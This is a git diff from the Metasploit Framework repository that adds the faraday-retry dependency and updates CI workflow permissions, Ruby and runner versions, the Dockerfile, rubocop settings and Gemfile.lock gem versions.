Land #16662, Add faraday retry gem dependency

Net-NTLM (v1 and v2) hashes were being duplicated when
stored in the database due to the unique data in the challenge
dispite being the same. This fixes that issue

.git-blame-ignore-revs

@@ -0,0 +1,15 @@
+# This file aims to document any commits which should be ignored from Git/Github history
+# Only whitespace changes should be added to this file where possible
+#
+# Additional details:
+#    https://docs.github.com/en/repositories/working-with-files/using-files/viewing-a-file#ignore-commits-in-the-blame-view
+# 
+
+# 2013: Retabbing the majority of Metasploit Framework to use two-space soft tabs instead of hard tabs
+7e5e0f7fc814fee55a1eca148c51f2344da65e59
+41e4375e43443bb568729a3079d3bf9944cbc669
+84aaf2334ae2de73f27999d4c003448c8e891d3a
+9f3a5dc5d0424c2c1a067b140b1642319dee65c2
+
+# 2022: Fixing whitespace on the tests folder with "rubocop --fix-layout test"
+29cc349649f978304712dd0c31dc8861e9627209

.github/PULL_REQUEST_TEMPLATE.md

@@ -31,3 +31,4 @@ Complex Software Examples:
 We will also accept demonstrations of successful module execution even if your module doesn't meet the above conditions. It's not a necessity, but it may help us land your module faster!
 
 Demonstration of successful module execution can take the form of a packet capture (pcap) or a screen recording. You can send pcaps and recordings to [msfdev@metasploit.com](mailto:msfdev@metasploit.com). Please include a CVE number in the subject header (if applicable), and a link to your PR in the email body.
+If you wish to sanitize your pcap, please see the [wiki](https://github.com/rapid7/metasploit-framework/wiki/Sanitizing-PCAPs).

.github/SECURITY.md

@@ -7,7 +7,7 @@ us know in the way that's most comfortable for you.
 
 ## Via ZenDesk
 
-You can click on the big blue button at [Rapid7's Vulnerability
+You can click on the big orange button at [Rapid7's Vulnerability
 Disclosure][r7-vulns] page, which will get you to our general
 vulnerability reporting system. While this does require a (free) ZenDesk
 account to use, you'll get regular updates on your issue as our software

.github/workflows/docs.yml

@@ -0,0 +1,59 @@
+name: Build Docs
+
+# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
+permissions:
+  actions: none
+  checks: none
+  contents: none
+  deployments: none
+  id-token: none
+  issues: none
+  discussions: none
+  packages: none
+  pages: none
+  pull-requests: none
+  repository-projects: none
+  security-events: none
+  statuses: none
+
+on:
+  push:
+    branches-ignore:
+      - gh-pages
+      - metakitty
+      - weekly-dependency-updates
+    paths:
+      - docs
+  pull_request:
+    branches-ignore:
+      - weekly-dependency-updates
+
+jobs:
+  # Ensures that the docs site builds successfully. Note that this workflow does not deploy the docs site.
+  build:
+    runs-on: ubuntu-18.04
+    timeout-minutes: 40
+
+    strategy:
+      fail-fast: true
+      matrix:
+        ruby:
+          - 2.7
+
+    name: Ruby ${{ matrix.ruby }}
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v2
+
+      - name: Setup Ruby
+        uses: ruby/setup-ruby@v1
+        with:
+          ruby-version: ${{ matrix.ruby }}
+          bundler-cache: true
+          working-directory: docs
+
+      - name: build
+        working-directory: docs
+        run: |
+          bundle exec ruby build.rb
+          bundle exec ruby build.rb --production

.github/workflows/labels.yml

@@ -1,4 +1,23 @@
 name: Labels
+
+# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
+permissions:
+  actions: none
+  checks: none
+  contents: none
+  deployments: none
+  id-token: none
+  # This action can update/close issues
+  issues: write
+  discussions: none
+  packages: none
+  pages: none
+  # This action can update/close pull requests
+  pull-requests: write
+  repository-projects: none
+  security-events: none
+  statuses: none
+
 on:
   pull_request_target:
     types: [labeled]
@@ -124,19 +143,12 @@ jobs:
                 },
               },
               issues: {
-                // Termux issues are usually user error. However they may describe issues within modules/framework itself,
-                // and for this reason they are not closed automatically.
                 termux: {
-                  close: false,
+                  close: true,
                   comment: `
-                    Termux is not officially supported. https://github.com/rapid7/metasploit-framework/issues/11023
+                    Metasploit installation on Termux is not supported. Refer to the following for more information:
 
-                    However, Metasploit reportedly does work with Termux.
-
-                    Refer to the following for more information:
-
-                    * https://wiki.termux.com/wiki/Metasploit_Framework
-                    * termux/termux-packages/issues/715
+                    * https://github.com/rapid7/metasploit-framework/issues/11023
                   `
                 },
                 // Used for issues that have had low effort applied, haven't followed the issue template, and there's not enough
@@ -179,15 +191,6 @@ jobs:
                     Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
                   `
                 },
-                'ruby-3.0.0': {
-                  close: true,
-                  comment: `
-                  This issue appears to be related to Ruby 3.0.0. At this time Metasploit does not support Ruby 3.0.0.
-                  Please try using Ruby 2.7.x with Metasploit.
-
-                  Closing this issue as a duplicate of #14666 - which aims to track this feature request.
-                  `
-                },
               }
             };
 

.github/workflows/lint.yml

@@ -1,24 +1,41 @@
 name: Lint
 
+# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
+permissions:
+  actions: none
+  checks: none
+  contents: none
+  deployments: none
+  id-token: none
+  issues: none
+  discussions: none
+  packages: none
+  pages: none
+  pull-requests: none
+  repository-projects: none
+  security-events: none
+  statuses: none
+
 on:
   push:
     branches-ignore:
       - gh-pages
       - metakitty
+      - weekly-dependency-updates
   pull_request:
-    branches:
-      - '*'
+    branches-ignore:
+      - weekly-dependency-updates
 
 jobs:
   msftidy:
-    runs-on: ubuntu-16.04
+    runs-on: ubuntu-18.04
     timeout-minutes: 40
 
     strategy:
       fail-fast: true
       matrix:
         ruby:
-          - 2.5
+          - 2.6
 
     name: Lint msftidy
     steps:
@@ -32,27 +49,12 @@ jobs:
         with:
           fetch-depth: 0
 
-      - uses: actions/setup-ruby@v1
+      - uses: ruby/setup-ruby@v1
         with:
           ruby-version: ${{ matrix.ruby }}
-
-      - name: Setup bundler
-        run: |
-          gem install bundler
-
-      - uses: actions/cache@v2
-        with:
-          path: vendor/bundle
-          key: ${{ runner.os }}-gems-${{ hashFiles('**/Gemfile.lock') }}
-          restore-keys: |
-            ${{ runner.os }}-gems-
-
-      - name: Bundle install
-        run: |
-          bundle config path vendor/bundle
-          bundle install --jobs 4 --retry 3
+          bundler-cache: true
         env:
-          BUNDLER_WITHOUT: coverage development pcap
+          BUNDLE_WITHOUT: "coverage development pcap"
 
       - name: Run msftidy
         run: |

.github/workflows/schedule-stale.yml

@@ -1,7 +1,26 @@
+# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
+permissions:
+  actions: none
+  checks: none
+  contents: none
+  deployments: none
+  id-token: none
+  # This action can update/close issues
+  issues: write
+  discussions: none
+  packages: none
+  pages: none
+  pull-requests: none
+  repository-projects: none
+  security-events: none
+  statuses: none
+
 on:
   schedule:
     - cron: "0 15 * * 1-5"
+
 name: Stale Bot workflow
+
 jobs:
   build:
     name: stale
@@ -32,5 +51,5 @@ jobs:
 
             As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
           exempt-issue-labels: |
-            not-stale,confirmed,easy,newbie-friendly,suggestion,suggestion-module,suggestion-feature,suggestion-docs,ascii-utf8-issues,database,feature,enhancement,library
+            discussion,not-stale,confirmed,easy,newbie-friendly,suggestion,suggestion-module,suggestion-feature,suggestion-docs,ascii-utf8-issues,database,feature,enhancement,library
           debug-only: false

.github/workflows/verify.yml

@@ -1,17 +1,34 @@
 name: Verify
 
+# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
+permissions:
+  actions: none
+  checks: none
+  contents: none
+  deployments: none
+  id-token: none
+  issues: none
+  discussions: none
+  packages: none
+  pages: none
+  pull-requests: none
+  repository-projects: none
+  security-events: none
+  statuses: none
+
 on:
   push:
     branches-ignore:
       - gh-pages
       - metakitty
+      - weekly-dependency-updates
   pull_request:
-    branches:
-      - '*'
+    branches-ignore:
+      - weekly-dependency-updates
 
 jobs:
   build:
-    runs-on: ubuntu-16.04
+    runs-on: ubuntu-18.04
     timeout-minutes: 40
     name: Docker Build
     steps:
@@ -27,7 +44,7 @@ jobs:
           /usr/bin/docker-compose build
 
   test:
-    runs-on: ubuntu-16.04
+    runs-on: ubuntu-18.04
     timeout-minutes: 40
 
     services:
@@ -47,9 +64,10 @@ jobs:
       fail-fast: true
       matrix:
         ruby:
-          - 2.5
           - 2.6
           - 2.7
+          - 3.0.3
+          - 3.1.1
         test_cmd:
           - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
           - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"
@@ -68,27 +86,13 @@ jobs:
       - name: Checkout code
         uses: actions/checkout@v2
 
-      - uses: actions/setup-ruby@v1
+      - name: Setup Ruby
+        env:
+          BUNDLE_WITHOUT: "coverage development pcap"
+        uses: ruby/setup-ruby@v1
         with:
           ruby-version: ${{ matrix.ruby }}
-
-      - name: Setup bundler
-        run: |
-          gem install bundler
-
-      - uses: actions/cache@v2
-        with:
-          path: vendor/bundle
-          key: ${{ runner.os }}-gems-${{ hashFiles('**/Gemfile.lock') }}
-          restore-keys: |
-            ${{ runner.os }}-gems-
-
-      - name: Bundle install
-        run: |
-          bundle config path vendor/bundle
-          bundle install --jobs 4 --retry 3
-        env:
-          BUNDLER_WITHOUT: coverage development pcap
+          bundler-cache: true
 
       - name: Create database
         run: |

.github/workflows/weekly-dependencies-pr.yml

@@ -0,0 +1,69 @@
+# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
+permissions:
+  actions: none
+  checks: none
+  contents: none
+  deployments: none
+  id-token: none
+  # This action can update/close issues
+  issues: write
+  discussions: none
+  packages: none
+  pages: none
+  pull-requests: write
+  repository-projects: none
+  security-events: none
+  statuses: none
+
+on:
+  push:
+    branches:
+    - weekly-dependency-updates
+    paths:
+    - 'Gemfile.lock'
+
+name: Weekly dependency PR workflow
+
+jobs:
+  create-pull-request:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Create Pull Request
+        uses: actions/github-script@v6
+        with:
+          script: |
+            const { repo, owner } = context.repo;
+            console.log('repo:');
+            console.log(JSON.stringify(repo, null, 4));
+            console.log('owner:');
+            console.log(JSON.stringify(owner, null, 4));
+            const hasPR = await github.rest.pulls.list({
+              owner,
+              repo,
+              head: owner + ':' + '${{ github.ref_name }}' 
+            });
+            console.log('hasPR:');
+            console.log(JSON.stringify({ data: hasPR.data, status: hasPR.status }, null, 4));
+            if (Array.isArray(hasPR.data) && !hasPR.data.length) {
+              const result = await github.rest.pulls.create({
+                title: 'Weekly dependency updates',
+                owner,
+                repo,
+                head: '${{ github.ref_name }}',
+                base: 'master',
+                body: [
+                  'This PR is auto-generated by [actions/github-script](https://github.com/actions/github-script).  ',
+                  '`bundle update` revealed the following gems have new version to be evaluated for update.'
+                ].join('\n')
+              });
+              console.log('result:');
+              console.log(JSON.stringify({ data: result.data, status: result.status }, null, 4));
+              const labelResult = await github.rest.issues.addLabels({
+                owner,
+                repo,
+                issue_number: result.data.number,
+                labels: ['automation', 'rn-no-release-notes']
+              });
+              console.log('labelResult:');
+              console.log(JSON.stringify({ data: labelResult.data, status: labelResult.status }, null, 4));
+            }

.gitignore

@@ -21,6 +21,8 @@ Gemfile.local.lock
 config/database.yml
 # target config file for testing
 features/support/targets.yml
+# Generated test files
+spec/dummy
 # simplecov coverage data
 coverage
 doc/
@@ -94,6 +96,5 @@ docker-compose.local*
 *.pyc
 rspec.failures
 
-
 #Ignore any base disk store files
-db/modules_metadata_base.pstore
+db/modules_metadata_base.pstore

.mailmap

@@ -28,6 +28,7 @@ pdeardorff-r7 <pdeardorff-r7@github>   <Paul_Deardorff@rapid7.com>
 sgonzalez-r7 <sgonzalez-r7@github>     <sgonzalez@rapid7.com>
 sgonzalez-r7 <sgonzalez-r7@github>     <sonny_gonzalez@rapid7.com>
 shuckins-r7 <shuckins-r7@github>       <samuel_huckins@rapid7.com>
+sjanusz-r7 <sjanusz-r7@github>         <simon_janusz@rapid7.com>
 smcintyre-r7 <smcintyre-r7@github>     <spencer_mcintyre@rapid7.com>
 space-r7 <space-r7@github>             <shelby_pace@rapid7.com>
 tdoan-r7 <tdoan-r7@github>             <thao_doan@rapid7.com>

.rubocop.yml

@@ -9,17 +9,19 @@
 # inherit_from: .rubocop_todo.yml
 
 AllCops:
-  TargetRubyVersion: 2.5
+  TargetRubyVersion: 2.6
   SuggestExtensions: false
   NewCops: disable
 
 require:
   - ./lib/rubocop/cop/layout/module_hash_on_new_line.rb
+  - ./lib/rubocop/cop/layout/module_hash_values_on_same_line.rb
   - ./lib/rubocop/cop/layout/module_description_indentation.rb
   - ./lib/rubocop/cop/layout/extra_spacing_with_bindata_ignored.rb
   - ./lib/rubocop/cop/lint/module_disclosure_date_format.rb
   - ./lib/rubocop/cop/lint/module_disclosure_date_present.rb
   - ./lib/rubocop/cop/lint/deprecated_gem_version.rb
+  - ./lib/rubocop/cop/lint/module_enforce_notes.rb
 
 Layout/SpaceBeforeBrackets:
   Description: >-
@@ -147,6 +149,9 @@ Style/SwapValues:
 Layout/ModuleHashOnNewLine:
   Enabled: true
 
+Layout/ModuleHashValuesOnSameLine:
+  Enabled: true
+
 Layout/ModuleDescriptionIndentation:
   Enabled: true
 
@@ -158,6 +163,13 @@ Lint/ModuleDisclosureDatePresent:
     # Only exploits require disclosure dates, but they can be present in auxiliary modules etc.
     - 'modules/exploits/**/*'
 
+Lint/ModuleEnforceNotes:
+  Include:
+    # Only exploits and auxiliary modules require SideEffects to be listed.
+    - 'modules/exploits/**/*'
+    - 'modules/auxiliary/**/*'
+    - 'modules/post/**/*'
+
 Lint/DeprecatedGemVersion:
   Enabled: true
   Exclude:
@@ -168,6 +180,7 @@ Metrics/ClassLength:
   Enabled: true
   Exclude:
     - 'modules/**/*'
+    - 'test/modules/**/*'
 
 Style/ClassAndModuleChildren:
   Enabled: false
@@ -245,6 +258,7 @@ Style/Documentation:
   Description: 'Most Metasploit modules do not have class documentation.'
   Exclude:
     - 'modules/**/*'
+    - 'test/modules/**/*'
     - 'spec/file_fixtures/modules/**/*'
 
 Layout/FirstArgumentIndentation:

.ruby-version

@@ -1 +1 @@
-2.7.2
+3.0.2

Dockerfile

@@ -1,8 +1,9 @@
-FROM ruby:2.7.2-alpine3.12 AS builder
+FROM ruby:3.0.2-alpine3.12 AS builder
 LABEL maintainer="Rapid7"
 
 ARG BUNDLER_CONFIG_ARGS="set clean 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
 ENV APP_HOME=/usr/src/metasploit-framework
+ENV TOOLS_HOME=/usr/src/tools
 ENV BUNDLE_IGNORE_MESSAGES="true"
 WORKDIR $APP_HOME
 
@@ -13,8 +14,10 @@ COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
 
 RUN apk add --no-cache \
       autoconf \
+      bash \
       bison \
       build-base \
+      curl \
       ruby-dev \
       openssl-dev \
       readline-dev \
@@ -27,6 +30,7 @@ RUN apk add --no-cache \
       zlib-dev \
       ncurses-dev \
       git \
+      go \
     && echo "gem: --no-document" > /etc/gemrc \
     && gem update --system \
     && bundle config $BUNDLER_ARGS \
@@ -36,18 +40,26 @@ RUN apk add --no-cache \
     # needed so non root users can read content of the bundle
     && chmod -R a+r /usr/local/bundle
 
+RUN mkdir -p $TOOLS_HOME/bin && \
+    cd $TOOLS_HOME/bin && \
+    curl -O https://dl.google.com/go/go1.11.2.src.tar.gz && \
+    tar -zxf go1.11.2.src.tar.gz && \
+    rm go1.11.2.src.tar.gz && \
+    cd go/src && \
+    ./make.bash
 
-FROM ruby:2.7.2-alpine3.12
+FROM ruby:3.0.2-alpine3.12
 LABEL maintainer="Rapid7"
 
 ENV APP_HOME=/usr/src/metasploit-framework
+ENV TOOLS_HOME=/usr/src/tools
 ENV NMAP_PRIVILEGED=""
 ENV METASPLOIT_GROUP=metasploit
 
 # used for the copy command
 RUN addgroup -S $METASPLOIT_GROUP
 
-RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python2 python3 ncurses libcap su-exec alpine-sdk python2-dev openssl-dev nasm
+RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python2 python3 py3-pip ncurses libcap su-exec alpine-sdk python2-dev openssl-dev nasm mingw-w64-gcc
 
 RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
 RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
@@ -55,12 +67,18 @@ RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
 COPY --from=builder /usr/local/bundle /usr/local/bundle
 RUN chown -R root:metasploit /usr/local/bundle
 COPY . $APP_HOME/
+COPY --from=builder $TOOLS_HOME $TOOLS_HOME
 RUN chown -R root:metasploit $APP_HOME/
 RUN chmod 664 $APP_HOME/Gemfile.lock
 RUN gem update --system
 RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
 RUN curl -L -O https://github.com/pypa/get-pip/raw/3843bff3a0a61da5b63ea0b7d34794c5c51a2f11/get-pip.py && python get-pip.py && rm get-pip.py
 RUN pip install impacket
+RUN pip install requests
+
+ENV GOPATH=$TOOLS_HOME/go
+ENV GOROOT=$TOOLS_HOME/bin/go
+ENV PATH=${PATH}:${GOPATH}/bin:${GOROOT}/bin
 
 WORKDIR $APP_HOME
 

Gemfile

@@ -45,3 +45,4 @@ group :test do
   # Manipulate Time.now in specs
   gem 'timecop'
 end
+

Gemfile.lock

@@ -1,10 +1,10 @@
 PATH
   remote: .
   specs:
-    metasploit-framework (6.0.48)
-      actionpack (~> 5.2.2)
-      activerecord (~> 5.2.2)
-      activesupport (~> 5.2.2)
+    metasploit-framework (6.2.2)
+      actionpack (~> 6.0)
+      activerecord (~> 6.0)
+      activesupport (~> 6.0)
       aws-sdk-ec2
       aws-sdk-iam
       aws-sdk-s3
@@ -18,24 +18,26 @@ PATH
       eventmachine
       faker
       faraday
+      faraday-retry
       faye-websocket
       filesize
-      hrr_rb_ssh (= 0.3.0.pre2)
+      hrr_rb_ssh-ed25519
       http-cookie
       irb
       jsobfu
       json
       metasm
-      metasploit-concern (~> 3.0.0)
-      metasploit-credential (~> 4.0.0)
-      metasploit-model (~> 3.1.0)
-      metasploit-payloads (= 2.0.47)
-      metasploit_data_models (~> 4.1.0)
-      metasploit_payloads-mettle (= 1.0.10)
+      metasploit-concern
+      metasploit-credential
+      metasploit-model
+      metasploit-payloads (= 2.0.93)
+      metasploit_data_models
+      metasploit_payloads-mettle (= 1.0.18)
       mqtt
       msgpack
       nessus_rest
       net-ldap
+      net-smtp
       net-ssh
       network_interface
       nexpose
@@ -53,6 +55,7 @@ PATH
       rb-readline
       recog
       redcarpet
+      reline (= 0.2.5)
       rex-arch
       rex-bin_tools
       rex-core
@@ -72,7 +75,7 @@ PATH
       rex-text
       rex-zip
       ruby-macho
-      ruby_smb (~> 2.0)
+      ruby_smb (~> 3.1.0)
       rubyntlm
       rubyzip
       sinatra
@@ -82,8 +85,11 @@ PATH
       thin
       tzinfo
       tzinfo-data
+      unix-crypt
       warden
+      win32api
       windows_error
+      winrm
       xdr
       xmlrpc
       zeitwerk
@@ -92,77 +98,77 @@ GEM
   remote: https://rubygems.org/
   specs:
     Ascii85 (1.1.0)
-    actionpack (5.2.6)
-      actionview (= 5.2.6)
-      activesupport (= 5.2.6)
-      rack (~> 2.0, >= 2.0.8)
+    actionpack (6.1.6)
+      actionview (= 6.1.6)
+      activesupport (= 6.1.6)
+      rack (~> 2.0, >= 2.0.9)
       rack-test (>= 0.6.3)
       rails-dom-testing (~> 2.0)
-      rails-html-sanitizer (~> 1.0, >= 1.0.2)
-    actionview (5.2.6)
-      activesupport (= 5.2.6)
+      rails-html-sanitizer (~> 1.0, >= 1.2.0)
+    actionview (6.1.6)
+      activesupport (= 6.1.6)
       builder (~> 3.1)
       erubi (~> 1.4)
       rails-dom-testing (~> 2.0)
-      rails-html-sanitizer (~> 1.0, >= 1.0.3)
-    activemodel (5.2.6)
-      activesupport (= 5.2.6)
-    activerecord (5.2.6)
-      activemodel (= 5.2.6)
-      activesupport (= 5.2.6)
-      arel (>= 9.0)
-    activesupport (5.2.6)
+      rails-html-sanitizer (~> 1.1, >= 1.2.0)
+    activemodel (6.1.6)
+      activesupport (= 6.1.6)
+    activerecord (6.1.6)
+      activemodel (= 6.1.6)
+      activesupport (= 6.1.6)
+    activesupport (6.1.6)
       concurrent-ruby (~> 1.0, >= 1.0.2)
-      i18n (>= 0.7, < 2)
-      minitest (~> 5.1)
-      tzinfo (~> 1.1)
-    addressable (2.7.0)
+      i18n (>= 1.6, < 2)
+      minitest (>= 5.1)
+      tzinfo (~> 2.0)
+      zeitwerk (~> 2.3)
+    addressable (2.8.0)
       public_suffix (>= 2.0.2, < 5.0)
     afm (0.2.2)
-    arel (9.0.0)
-    arel-helpers (2.12.0)
-      activerecord (>= 3.1.0, < 7)
+    arel-helpers (2.14.0)
+      activerecord (>= 3.1.0, < 8)
     ast (2.4.2)
-    aws-eventstream (1.1.1)
-    aws-partitions (1.466.0)
-    aws-sdk-core (3.114.2)
+    aws-eventstream (1.2.0)
+    aws-partitions (1.595.0)
+    aws-sdk-core (3.131.1)
       aws-eventstream (~> 1, >= 1.0.2)
-      aws-partitions (~> 1, >= 1.239.0)
+      aws-partitions (~> 1, >= 1.525.0)
       aws-sigv4 (~> 1.1)
-      jmespath (~> 1.0)
-    aws-sdk-ec2 (1.240.0)
-      aws-sdk-core (~> 3, >= 3.112.0)
+      jmespath (~> 1, >= 1.6.1)
+    aws-sdk-ec2 (1.317.0)
+      aws-sdk-core (~> 3, >= 3.127.0)
       aws-sigv4 (~> 1.1)
-    aws-sdk-iam (1.55.0)
-      aws-sdk-core (~> 3, >= 3.112.0)
+    aws-sdk-iam (1.68.0)
+      aws-sdk-core (~> 3, >= 3.127.0)
       aws-sigv4 (~> 1.1)
-    aws-sdk-kms (1.43.0)
-      aws-sdk-core (~> 3, >= 3.112.0)
+    aws-sdk-kms (1.57.0)
+      aws-sdk-core (~> 3, >= 3.127.0)
       aws-sigv4 (~> 1.1)
-    aws-sdk-s3 (1.96.0)
-      aws-sdk-core (~> 3, >= 3.112.0)
+    aws-sdk-s3 (1.114.0)
+      aws-sdk-core (~> 3, >= 3.127.0)
       aws-sdk-kms (~> 1)
-      aws-sigv4 (~> 1.1)
-    aws-sigv4 (1.2.3)
+      aws-sigv4 (~> 1.4)
+    aws-sigv4 (1.5.0)
       aws-eventstream (~> 1, >= 1.0.2)
-    bcrypt (3.1.16)
+    bcrypt (3.1.18)
     bcrypt_pbkdf (1.1.0)
     bindata (2.4.10)
-    bson (4.12.1)
+    bson (4.15.0)
     builder (3.2.4)
     byebug (11.1.3)
     coderay (1.1.3)
     concurrent-ruby (1.0.5)
     cookiejar (0.3.3)
     crass (1.0.6)
-    daemons (1.4.0)
-    diff-lcs (1.4.4)
-    dnsruby (1.61.5)
+    daemons (1.4.1)
+    diff-lcs (1.5.0)
+    digest (3.1.0)
+    dnsruby (1.61.9)
       simpleidn (~> 0.1)
     docile (1.4.0)
     domain_name (0.5.20190701)
       unf (>= 0.0.5, < 1.0.0)
-    ed25519 (1.2.4)
+    ed25519 (1.3.0)
     em-http-request (1.1.7)
       addressable (>= 2.3.4)
       cookiejar (!= 0.3.1)
@@ -173,167 +179,179 @@ GEM
       eventmachine (>= 1.0.0.beta.4)
     erubi (1.10.0)
     eventmachine (1.2.7)
-    factory_bot (6.2.0)
+    factory_bot (6.2.1)
       activesupport (>= 5.0.0)
     factory_bot_rails (6.2.0)
       factory_bot (~> 6.2.0)
       railties (>= 5.0.0)
-    faker (2.18.0)
-      i18n (>= 1.6, < 2)
-    faraday (1.4.2)
-      faraday-em_http (~> 1.0)
-      faraday-em_synchrony (~> 1.0)
-      faraday-excon (~> 1.1)
-      faraday-net_http (~> 1.0)
-      faraday-net_http_persistent (~> 1.1)
-      multipart-post (>= 1.2, < 3)
+    faker (2.21.0)
+      i18n (>= 1.8.11, < 2)
+    faraday (2.3.0)
+      faraday-net_http (~> 2.0)
       ruby2_keywords (>= 0.0.4)
-    faraday-em_http (1.0.0)
-    faraday-em_synchrony (1.0.0)
-    faraday-excon (1.1.0)
-    faraday-net_http (1.0.1)
-    faraday-net_http_persistent (1.1.0)
+    faraday-net_http (2.0.3)
+    faraday-retry (1.0.3)
     faye-websocket (0.11.1)
       eventmachine (>= 0.12.0)
       websocket-driver (>= 0.5.1)
+    ffi (1.15.5)
     filesize (0.2.0)
     fivemat (1.3.7)
+    gssapi (1.3.1)
+      ffi (>= 1.0.1)
+    gyoku (1.4.0)
+      builder (>= 2.1.2)
+      rexml (~> 3.0)
     hashery (2.1.2)
-    hrr_rb_ssh (0.3.0.pre2)
+    hrr_rb_ssh (0.4.2)
+    hrr_rb_ssh-ed25519 (0.4.2)
       ed25519 (~> 1.2)
-    http-cookie (1.0.4)
+      hrr_rb_ssh (>= 0.4)
+    http-cookie (1.0.5)
       domain_name (~> 0.5)
-    http_parser.rb (0.6.0)
-    i18n (1.8.10)
+    http_parser.rb (0.8.0)
+    httpclient (2.8.3)
+    i18n (1.10.0)
       concurrent-ruby (~> 1.0)
-    io-console (0.5.9)
-    irb (1.3.5)
-      reline (>= 0.1.5)
-    jmespath (1.4.0)
+    io-console (0.5.11)
+    irb (1.3.6)
+      reline (>= 0.2.5)
+    jmespath (1.6.1)
     jsobfu (0.4.2)
       rkelly-remix
-    json (2.5.1)
-    loofah (2.9.1)
+    json (2.6.2)
+    little-plugger (1.1.4)
+    logging (2.3.1)
+      little-plugger (~> 1.1)
+      multi_json (~> 1.14)
+    loofah (2.18.0)
       crass (~> 1.0.2)
       nokogiri (>= 1.5.9)
     memory_profiler (1.0.0)
-    metasm (1.0.4)
-    metasploit-concern (3.0.2)
-      activemodel (~> 5.2.2)
-      activesupport (~> 5.2.2)
-      railties (~> 5.2.2)
-    metasploit-credential (4.0.5)
+    metasm (1.0.5)
+    metasploit-concern (4.0.4)
+      activemodel (~> 6.0)
+      activesupport (~> 6.0)
+      railties (~> 6.0)
+    metasploit-credential (5.0.7)
       metasploit-concern
       metasploit-model
-      metasploit_data_models (>= 3.0.0)
+      metasploit_data_models (>= 5.0.0)
       net-ssh
       pg
       railties
       rex-socket
       rubyntlm
       rubyzip
-    metasploit-model (3.1.4)
-      activemodel (~> 5.2.2)
-      activesupport (~> 5.2.2)
-      railties (~> 5.2.2)
-    metasploit-payloads (2.0.47)
-    metasploit_data_models (4.1.4)
-      activerecord (~> 5.2.2)
-      activesupport (~> 5.2.2)
+    metasploit-model (4.0.4)
+      activemodel (~> 6.0)
+      activesupport (~> 6.0)
+      railties (~> 6.0)
+    metasploit-payloads (2.0.93)
+    metasploit_data_models (5.0.5)
+      activerecord (~> 6.0)
+      activesupport (~> 6.0)
       arel-helpers
       metasploit-concern
       metasploit-model (>= 3.1)
       pg
-      railties (~> 5.2.2)
+      railties (~> 6.0)
       recog (~> 2.0)
       webrick
-    metasploit_payloads-mettle (1.0.10)
+    metasploit_payloads-mettle (1.0.18)
     method_source (1.0.0)
-    mini_portile2 (2.5.3)
-    minitest (5.14.4)
+    mini_portile2 (2.8.0)
+    minitest (5.15.0)
     mqtt (0.5.0)
-    msgpack (1.4.2)
-    multipart-post (2.1.1)
+    msgpack (1.5.2)
+    multi_json (1.15.0)
     mustermann (1.1.1)
       ruby2_keywords (~> 0.0.1)
     nessus_rest (0.1.6)
     net-ldap (0.17.0)
+    net-protocol (0.1.3)
+      timeout
+    net-smtp (0.3.1)
+      digest
+      net-protocol
+      timeout
     net-ssh (6.1.0)
     network_interface (0.0.2)
     nexpose (7.3.0)
-    nio4r (2.5.7)
-    nokogiri (1.11.7)
-      mini_portile2 (~> 2.5.0)
+    nio4r (2.5.8)
+    nokogiri (1.13.6)
+      mini_portile2 (~> 2.8.0)
       racc (~> 1.4)
-    octokit (4.21.0)
-      faraday (>= 0.9)
-      sawyer (~> 0.8.0, >= 0.5.3)
+    nori (2.6.0)
+    octokit (4.23.0)
+      faraday (>= 1, < 3)
+      sawyer (~> 0.9)
     openssl-ccm (1.2.2)
     openssl-cmac (2.0.1)
     openvas-omp (0.0.4)
     packetfu (1.1.13)
       pcaprub
-    parallel (1.20.1)
-    parser (3.0.1.1)
+    parallel (1.22.1)
+    parser (3.1.2.0)
       ast (~> 2.4.1)
     patch_finder (1.0.2)
-    pcaprub (0.13.0)
-    pdf-reader (2.5.0)
+    pcaprub (0.13.1)
+    pdf-reader (2.10.0)
       Ascii85 (~> 1.0)
       afm (~> 0.2.1)
       hashery (~> 2.0)
       ruby-rc4
       ttfunk
-    pg (1.2.3)
+    pg (1.3.5)
     pry (0.13.1)
       coderay (~> 1.1)
       method_source (~> 1.0)
     pry-byebug (3.9.0)
       byebug (~> 11.0)
       pry (~> 0.13.0)
-    public_suffix (4.0.6)
-    puma (5.3.2)
+    public_suffix (4.0.7)
+    puma (5.6.4)
       nio4r (~> 2.0)
-    racc (1.5.2)
-    rack (2.2.3)
-    rack-protection (2.1.0)
+    racc (1.6.0)
+    rack (2.2.3.1)
+    rack-protection (2.2.0)
       rack
     rack-test (1.1.0)
       rack (>= 1.0, < 3)
     rails-dom-testing (2.0.3)
       activesupport (>= 4.2.0)
       nokogiri (>= 1.6)
-    rails-html-sanitizer (1.3.0)
+    rails-html-sanitizer (1.4.2)
       loofah (~> 2.3)
-    railties (5.2.6)
-      actionpack (= 5.2.6)
-      activesupport (= 5.2.6)
+    railties (6.1.6)
+      actionpack (= 6.1.6)
+      activesupport (= 6.1.6)
       method_source
-      rake (>= 0.8.7)
-      thor (>= 0.19.0, < 2.0)
-    rainbow (3.0.0)
-    rake (13.0.3)
+      rake (>= 12.2)
+      thor (~> 1.0)
+    rainbow (3.1.1)
+    rake (13.0.6)
     rb-readline (0.5.5)
-    recog (2.3.20)
+    recog (2.3.23)
       nokogiri
     redcarpet (3.5.1)
-    regexp_parser (2.1.1)
